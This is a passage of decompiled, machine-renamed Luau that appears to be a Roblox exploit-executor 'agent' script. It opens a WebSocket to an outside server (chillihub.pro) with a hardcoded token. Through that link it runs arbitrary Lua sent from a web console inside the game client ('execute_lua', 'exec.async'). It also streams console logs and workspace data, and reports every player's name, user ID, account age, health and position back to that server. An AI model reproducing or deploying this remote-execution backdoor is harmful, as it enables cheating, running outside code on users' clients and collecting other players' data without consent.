ok = ok and tostring(result)
local str7 = ok or "<unprintable>"
tbl46.text = str7:sub(1, 4000)
tbl46.value = kind ~= "nil" and fn42(arg) or nil
return tbl46
end
local function fn66(arg, arg2, arg3, arg4)
local tbl46 = {}
local tbl47 = {}
for i = 2, arg.n do
local n37 = i - 1
tbl46[n37] = fn42(arg[i])
local n38 = i - 1
tbl47[n38] = fn65(arg[i])
end
local tbl48 = { output = table.concat(arg3, "\n") }
tbl48.outputTruncated = arg4 or nil
tbl48.returns = tbl46
tbl48.returnsInfo = tbl47
tbl48.returnCount = arg.n - 1
tbl48.elapsedMs = arg2
return tbl48
end
local function fn67(arg)
return debug.traceback(tostring(arg), 2)
end
local function fn68(arg)
if #arg.pending == 0 then
return
end
local pending = arg.pending
arg.pending = {}
fn44("exec.output", { runId = arg.id, label = arg.label, lines = pending })
end
local function fn69(arg, arg2)
local character = arg.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
local humanoidRootPart = character and character:FindFirstChild("HumanoidRootPart")
local tbl46 = {
name = arg.Name,
displayName = arg.DisplayName,
userId = arg.UserId,
accountAge = arg.AccountAge,
}
tbl46.team = arg.Team and arg.Team.Name or nil
tbl46.neutral = arg.Neutral
character = character and character.Name
tbl46.character = character or nil
tbl46.health = humanoid and humanoid.Health or nil
humanoid = humanoid and humanoid.MaxHealth
humanoid = humanoid or nil
tbl46.maxHealth = humanoid
arg2 = arg2 and humanoidRootPart
arg2 = arg2 and fn42(humanoidRootPart.Position)
tbl46.position = arg2 or nil
return tbl46
end
local tbl46 = {
["system.ping"] = function(arg)
return { pong = true, echo = arg, clientTime = DateTime.now().UnixTimestampMillis }
end,
["game.info"] = function()
return {
placeId = game.PlaceId,
gameId = game.GameId,
jobId = game.JobId,
placeVersion = game.PlaceVersion,
privateServerId = game.PrivateServerId,
privateServerOwnerId = game.PrivateServerOwnerId,
playerCount = #Players2:GetPlayers(),
localPlayer = {
name = localPlayer2.Name,
displayName = localPlayer2.DisplayName,
userId = localPlayer2.UserId,
},
}
end,
execute_lua = function(arg)
local v32 = fn63(arg.code, arg.label)
local tbl46 = {}
local n37 = 0
local flag11 = false
setfenv(v32, (fn64(function(arg2, arg3)
if flag11 then
return
end
local str7 = (arg2 == "warn" and "[warn] " or "") .. arg3
n37 = n37 + #str7 + 1
if n35 < n37 then
flag11 = true
table.insert(tbl46, "... output truncated ...")
return
end
table.insert(tbl46, str7)
end)))
local now = os.clock()
local v33 = table.pack(xpcall(v32, fn67))
local n38 = math.floor((os.clock() - now) * 1000 + 0.5)
if not v33[1] then
error(
string.format(
"Runtime error: %s\n--- output ---\n%s",
tostring(v33[2]),
table.concat(tbl46, "\n"):sub(-20000)
),
0
)
end
return fn66(v33, n38, tbl46, flag11)
end,
["exec.async"] = function(arg)
local v32 = fn63(arg.code, arg.label)
local tbl46 = { id = HttpService:GenerateGUID(false):sub(1, 8) }
local v33 = tostring
local label = arg.label or "Script"
tbl46.label = v33(label):sub(1, 60)
tbl46.startedAt = os.clock()
tbl46.pending = {}
tbl46.lineCount = 0
tbl46.dropped = 0
setfenv(v32, (fn64(function(arg2, arg3)
tbl46.lineCount = tbl46.lineCount + 1
if #tbl46.pending >= n36 then
tbl46.dropped = tbl46.dropped + 1
return
end
table.insert(tbl46.pending, { kind = arg2, text = arg3:sub(1, 1000) })
end)))
tbl45[tbl46.id] = tbl46
task.spawn(function()
while tbl45[tbl46.id] == tbl46 do
task.wait(0.3)
if 0 < tbl46.dropped then
table.insert(
tbl46.pending,
{
kind = "warn",
text = string.format(
"... %d line(s) skipped ...",
tbl46.dropped
),
}
)
tbl46.dropped = 0
end
fn68(tbl46)
end
end)
tbl46.thread = task.defer(function()
local v34 = table.pack(xpcall(v32, fn67))
if tbl45[tbl46.id] ~= tbl46 then
return
end
tbl45[tbl46.id] = nil
fn68(tbl46)
local startedAt = tbl46.startedAt
local n37 = math.floor((os.clock() - startedAt) * 1000 + 0.5)
local tbl47 = {
runId = tbl46.id,
label = tbl46.label,
ok = v34[1] == true,
elapsedMs = n37,
}
if v34[1] then
local v35 = fn66(v34, n37, {}, false)
tbl47.returnsInfo = v35.returnsInfo
tbl47.returnCount = v35.returnCount
else
tbl47.error = tostring(v34[2]):sub(1, 4000)
end
fn44("exec.finished", tbl47)
end)
return { runId = tbl46.id, label = tbl46.label }
end,
["exec.cancel"] = function(arg)
local v32 = tbl45
local v33 = tostring
local runId = arg.runId or ""
local v34 = v32[v33(runId)]
if not v34 then
return { cancelled = false, reason = "not running" }
end
tbl45[v34.id] = nil
pcall(task.cancel, v34.thread)
fn68(v34)
local startedAt = v34.startedAt
fn44("exec.finished", {
runId = v34.id,
label = v34.label,
ok = false,
cancelled = true,
error = "Cancelled from the web console",
elapsedMs = math.floor((os.clock() - startedAt) * 1000 + 0.5),
})
return { cancelled = true, runId = v34.id }
end,
["exec.list"] = function()
local tbl46 = {}
for k, v32 in pairs(tbl45) do
local startedAt = v32.startedAt
table.insert(tbl46, {
runId = k,
label = v32.label,
lines = v32.lineCount,
elapsedMs = math.floor((os.clock() - startedAt) * 1000 + 0.5),
})
end
return { count = #tbl46, runs = tbl46 }
end,
["console.tail"] = function(arg)
local logHistory = game:GetService("LogService"):GetLogHistory()
local v32 = fn36(arg.limit, 1, 500, 200)
local n37 = tonumber(arg.since) or 0
local tbl46 = {}
for i = #logHistory, 1, -1 do
local v33 = logHistory[i]
if not (v33.timestamp <= n37 or #tbl46 >= v32) then
table.insert(tbl46, 1, {
message = tostring(v33.message):sub(1, 1000),
kind = v33.messageType.Name,
time = v33.timestamp,
})
continue
end
break
end
local tbl47 = { count = #tbl46, entries = tbl46 }
tbl47.latest = logHistory[#logHistory] and logHistory[#logHistory].timestamp or n37
return tbl47
end,
["players.list"] = function(arg)
local tbl46 = {}
local flag11 = arg.includePosition ~= false
for _, player in ipairs(Players2:GetPlayers()) do
table.insert(tbl46, fn69(player, flag11))
end
table.sort(tbl46, function(arg2, arg3)
return string.lower(arg2.name) < string.lower(arg3.name)
end)
return { count = #tbl46, players = tbl46 }
end,
["players.get"] = function(arg)
local query = arg.query
local num = tonumber(query)
local v32 = string.lower(fn35(query))
for _, player in ipairs(Players2:GetPlayers()) do
if
num and player.UserId == num
or string.lower(player.Name) == v32
or string.lower(player.DisplayName) == v32
then
return fn69(player, true)
end
end
error("player not found: " .. tostring(query))
end,
["characters.list"] = function()
local tbl46 = {}
for _, player in ipairs(Players2:GetPlayers()) do
local character = player.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
local humanoidRootPart = character
and character:FindFirstChild("HumanoidRootPart")
local insert = table.insert
local tbl47 = { player = player.Name, userId = player.UserId }
character = character and fn41(character)
character = character or nil
tbl47.characterPath = character
tbl47.health = humanoid and humanoid.Health or nil
tbl47.maxHealth = humanoid and humanoid.MaxHealth or nil
tbl47.walkSpeed = humanoid and humanoid.WalkSpeed or nil
tbl47.jumpPower = humanoid and humanoid.JumpPower or nil
tbl47.moveDirection = humanoid and fn42(humanoid.MoveDirection) or nil
humanoid = humanoid and tostring(humanoid:GetState())
humanoid = humanoid or nil
tbl47.state = humanoid
tbl47.position = humanoidRootPart and fn42(humanoidRootPart.Position) or nil
humanoidRootPart = humanoidRootPart
and fn42(humanoidRootPart.AssemblyLinearVelocity)
tbl47.velocity = humanoidRootPart or nil
insert(tbl46, tbl47)
end
return { count = #tbl46, characters = tbl46 }
end,
["workspace.summary"] = function(arg)
local n37 = math.floor(fn36(arg.maxDescendants, 1, 5000, 2000))
local tbl46 = {}
local tbl47 = {}
for _, child in ipairs(Workspace:GetChildren()) do
table.insert(tbl47, fn48(child))
end
local v32 = fn49(Workspace, n37, function(arg2)
local v32 = tbl46
local className = arg2.ClassName
v32[className] = (tbl46[arg2.ClassName] or 0) + 1
return false
end)
return {
topLevel = tbl47,
topLevelCount = #tbl47,
scannedDescendants = v32,
truncated = v32 >= n37,
classCounts = tbl46,
}
end,
["instance.find"] = function(arg)
local v32 = fn46
local root = arg.root or "Workspace"
local v33, v34 = v32(root)
if not v33 then
error(v34)
end
local v35 = string.lower(fn35(arg.nameContains))
local v36 = fn35(arg.className)
local n37 = math.floor(fn36(arg.limit, 1, 200, 50))
local tbl46 = {}
local v37 = fn49(
v33,
math.floor(fn36(arg.scanLimit, 1, 10000, 3000)),
function(arg2)
local flag11 = v35 == ""
or string.find(string.lower(arg2.Name), v35, 1, true) ~= nil
local flag12 = false
if v36 ~= "" and arg2.ClassName ~= v36 then
pcall(function()
flag12 = arg2:IsA(v36)
end)
end
local flag13 = v36 == "" or arg2.ClassName == v36 or flag12
if not flag11 then
flag13 = flag11
end
if flag13 then
table.insert(tbl46, fn48(arg2))
end
return #tbl46 >= n37
end
)
return { root = fn41(v33), scanned = v37, count = #tbl46, matches = tbl46 }
end,
["instance.children"] = function(arg)
local v32, v33 = fn46(arg.path)
local v34 = v32
if not v34 then
error(v33)
end
local n37 = math.floor(fn36(arg.limit, 1, 500, 100))
local children = v34:GetChildren()
local tbl46 = {}
for i = 1, math.min(#children, n37) do
table.insert(tbl46, fn48(children[i]))
end
return { parent = fn48(v34), total = #children, returned = #tbl46, children = tbl46 }
end,
["instance.inspect"] = function(arg)
local v32, v33 = fn46(arg.path)
local v34 = v32
if not v34 then
error(v33)
end
local tbl46 = {}
for _, v35 in ipairs(tbl36) do
tbl46[v35] = true
end
if type(arg.properties) == "table" then
for _, v35 in ipairs(arg.properties) do
tbl46[tostring(v35)] = true
end
end
local tbl47 = {}
local tbl48 = {}
for k in pairs(tbl46) do
local v35, v36 = fn47(v34, k)
if v36 then
tbl48[k] = v36
else
tbl47[k] = v35
end
end
return {
instance = fn48(v34),
attributes = fn42(v34:GetAttributes()),
tags = fn42(v34:GetTags()),
childCount = #v34:GetChildren(),
properties = tbl47,
unavailable = tbl48,
}
end,
["instance.attributes"] = function(arg)
local v32, v33 = fn46(arg.path)
local v34 = v32
if not v34 then
error(v33)
end
return { instance = fn48(v34), attributes = fn42(v34:GetAttributes()) }
end,
["camera.get"] = function()
local currentCamera = Workspace.CurrentCamera
if not currentCamera then
error("CurrentCamera is unavailable")
end
return {
path = fn41(currentCamera),
cameraType = tostring(currentCamera.CameraType),
fieldOfView = currentCamera.FieldOfView,
viewportSize = fn42(currentCamera.ViewportSize),
cframe = fn42(currentCamera.CFrame),
focus = fn42(currentCamera.Focus),
subject = fn42(currentCamera.CameraSubject),
}
end,
["telemetry.snapshot"] = function()
local result = RunService2.RenderStepped:Wait()
local totalMemoryUsageMb = nil
pcall(function()
totalMemoryUsageMb = game:GetService("Stats"):GetTotalMemoryUsageMb()
end)
local tbl46 = {}
tbl46.fpsEstimate = result > 0 and math.floor(1 / result + 0.5) or nil
tbl46.frameDeltaMs = result * 1000
tbl46.memoryMb = totalMemoryUsageMb
tbl46.playerCount = #Players2:GetPlayers()
tbl46.placeId = game.PlaceId
tbl46.jobId = game.JobId
tbl46.distributedGameTime = Workspace.DistributedGameTime
tbl46.timestamp = DateTime.now().UnixTimestampMillis
return tbl46
end,
["ui.create"] = function(arg)
local v32, v33 = fn57(true)
local v34 = v32
if not v34 then
error(v33)
end
if arg.replace ~= false then
fn37(tbl33)
for _, child in ipairs(v34:GetChildren()) do
child:Destroy()
end
end
local tbl46 = { count = 0 }
local v35, v36 = fn60(arg.tree, v34, 1, tbl46)
return { created = fn48(v35), objectCount = tbl46.count, propertyResult = v36 }
end,
["ui.update"] = function(arg)
local v32, v33 = fn58(arg.path)
if not v32 then
error(v33)
end
return { instance = fn48(v32), result = fn55(v32, arg.props) }
end,
["ui.delete"] = function(arg)
local v32 = fn35(arg.path)
local v33, v34 = fn58(v32)
local v35 = v33
if not v35 then
if v32 == "" then
return { deleted = false, reason = "managed UI does not exist" }
end
error(v34)
end
fn37(tbl33)
local v36 = fn41(v35)
v35:Destroy()
return { deleted = true, path = v36 }
end,
["ui.list"] = function(arg)
local v32, v33 = fn57(false)
if not v32 then
local tbl46 = { exists = false }
tbl46.reason = v33 or "managed UI does not exist"
return tbl46
end
return {
exists = true,
tree = fn61(v32, 0, (math.floor(fn36(arg.maxDepth, 1, 10, 6)))),
}
end,
["ui.notify"] = function(arg)
local v32, v33 = fn57(true)
if not v32 then
error(v33)
end
local notifications = v32:FindFirstChild("Notifications")
if not notifications then
notifications = Instance.new("Frame")
notifications.Name = "Notifications"
notifications.AnchorPoint = Vector2.new(1, 0)
notifications.Position = UDim2.new(1, -16, 0, 16)
notifications.Size = UDim2.fromOffset(360, 500)
notifications.BackgroundTransparency = 1
notifications.Parent = v32
local uiListLayout = Instance.new("UIListLayout")
uiListLayout.Padding = UDim.new(0, 8)
uiListLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
uiListLayout.SortOrder = Enum.SortOrder.LayoutOrder
uiListLayout.Parent = notifications
end
local textLabel = Instance.new("TextLabel")
textLabel.Name = "Notification_" .. HttpService:GenerateGUID(false)
textLabel.Size = UDim2.fromOffset(340, 64)
textLabel.BackgroundColor3 = fn50(arg.color) or Color3.fromRGB(25, 35, 52)
textLabel.BackgroundTransparency = 0.08
textLabel.Text = tostring(arg.text):sub(1, 500)
textLabel.TextColor3 = Color3.fromRGB(240, 247, 255)
textLabel.TextSize = 16
textLabel.Font = Enum.Font.GothamSemibold
textLabel.TextWrapped = true
textLabel.Parent = notifications
local uiCorner = Instance.new("UICorner")
uiCorner.CornerRadius = UDim.new(0, 10)
uiCorner.Parent = textLabel
local v34 = fn36(arg.duration, 0.5, 30, 4)
task.delay(v34, function()
if textLabel.Parent then
textLabel:Destroy()
end
end)
return { shown = true, name = textLabel.Name, duration = v34 }
end,
}
local function fn70(arg)
local v32 = tostring
local requestId = arg.requestId or ""
local v33 = v32(requestId)
local v34 = tostring
local method = arg.method or ""
local v35 = v34(method)
local v36 = tbl46[v35]
if v33 == "" then
return
end
if not v36 then
fn43({
type = "rpc_result",
requestId = v33,
success = false,
error = "Unknown or disallowed method: " .. v35,
})
return
end
task.spawn(function()
local ok, result = xpcall(function()
local params = type(arg.params) == "table" and arg.params or {}
return v36(params)
end, function(arg2)
return debug.traceback(tostring(arg2), 2)
end)
if ok then
fn43({
type = "rpc_result",
requestId = v33,
success = true,
data = fn42(result),
})
else
fn43({
type = "rpc_result",
requestId = v33,
success = false,
error = tostring(result):sub(1, 2000),
})
end
end)
end
local function fn71(arg)
local ok, result = pcall(function()
return HttpService:JSONDecode(tostring(arg))
end)
local v32 = result
if not ok or type(v32) ~= "table" then
fn34("Invalid JSON message")
return
end
if v32.type == "identify_ok" then
fn33("Connected to bridge. Client ID:", tostring(v32.clientId))
local tbl47 = {}
for k in pairs(tbl46) do
table.insert(tbl47, k)
end
table.sort(tbl47)
fn44(
"agent.ready",
{
clientId = v32.clientId,
methods = tbl47,
playerCount = #Players2:GetPlayers(),
}
)
return
end
if v32.type == "pong" then
local v33 = fn33
local v34 = tostring
local seq = v32.seq or ""
v33("PONG", v34(seq))
return
end
if v32.type == "rpc_request" then
fn70(v32)
return
end
if v32.type == "identify_error" then
fn34("Bridge rejected identity:", tostring(v32.error))
end
end
local function fn72()
flag10 = false
fn37(tbl32)
if not v31 then
return
end
pcall(function()
if type(v31.Close) == "function" then
v31:Close()
elseif type(v31.close) == "function" then
v31:close()
end
end)
v31 = nil
end
local function fn73()
local v32, v33 = fn38()
if not v32 then
fn34("No supported WebSocket API found")
return false
end
n32 = n32 + 1
local v34 = n32
fn33(
"Connecting to",
"wss://chillihub.pro/roblox-mcp?token=skyb0y-ws-2025",
"using",
v33
)
local ok, result = pcall(function()
return v32("wss://chillihub.pro/roblox-mcp?token=skyb0y-ws-2025")
end)
if not ok or not result then
fn34("Connection failed:", tostring(result))
return false
end
v31 = result
flag10 = true
n33 = n28
local v35 = fn39(v31, "OnMessage", "MessageReceived")
local v36 = fn39(v31, "OnClose", "Closed", "OnDisconnect")
local v37 = fn39(v31, "OnError", "Error")
local v38 = fn40(v35, function(arg)
if v34 == n32 then
fn71(arg)
end
end)
if v38 then
table.insert(tbl32, v38)
local v39 = fn40(v36, function(...)
if v34 == n32 then
flag10 = false
fn34("Socket closed", ...)
end
end)
if v39 then
table.insert(tbl32, v39)
end
local v40 = fn40(v37, function(...)
if v34 == n32 then
fn34("Socket error", ...)
flag10 = false
end
end)
if v40 then
table.insert(tbl32, v40)
end
local v41, v42 = fn43({
type = "identify",
clientType = "roblox",
token = str5,
name = localPlayer2.Name,
displayName = localPlayer2.DisplayName,
userId = localPlayer2.UserId,
placeId = game.PlaceId,
jobId = game.JobId,
})
if not v41 then
fn34(v42)
flag10 = false
end
task.spawn(function()
while true do
local flag11 = flag9
if flag9 then
flag11 = flag10
end
flag11 = flag11 and v34 == n32
if flag11 then
task.wait(20)
local flag12 = flag9
if flag9 then
flag12 = flag10
end
flag12 = flag12 and v34 == n32
if flag12 then
n34 = n34 + 1
local v43, v44 = fn43({ type = "ping", seq = n34 })
if not v43 then
fn34("Heartbeat failed:", tostring(v44))
flag10 = false
end
end
continue
end
break
end
end)
while true do
local flag11 = flag9
if flag9 then
flag11 = flag10
end
flag11 = flag11 and v34 == n32
if flag11 then
task.wait(0.5)
continue
end
break
end
if v34 == n32 then
fn72()
end
return true
end
fn34("Socket has no supported message event")
fn72()
return false
end
table.insert(
tbl31,
Players2.PlayerAdded:Connect(function(arg)
if flag6 then
fn44("player.added", fn69(arg, true))
end
end)
)
table.insert(
tbl31,
Players2.PlayerRemoving:Connect(function(arg)
if flag6 then
fn44("player.removing", fn69(arg, true))
end
end)
)
genv.StopRobloxMCPAgent = function()
if not flag9 then
return
end
fn33("Stopping agent")
flag9 = false
n32 = n32 + 1
fn37(tbl31)
fn37(tbl33)
fn72()
end
task.spawn(function()
while flag9 do
local v32 = fn73()
if flag9 then
if v32 then
n33 = n28
end
fn34(string.format("Reconnecting in %d seconds", n33))
task.wait(n33)
n33 = math.min(n33 * 2, 30)
continue
end
break
end
fn33("Agent stopped")
end)
fn33("Agent initialized with", tostring(#Players2:GetPlayers()), "player(s)")
end
end
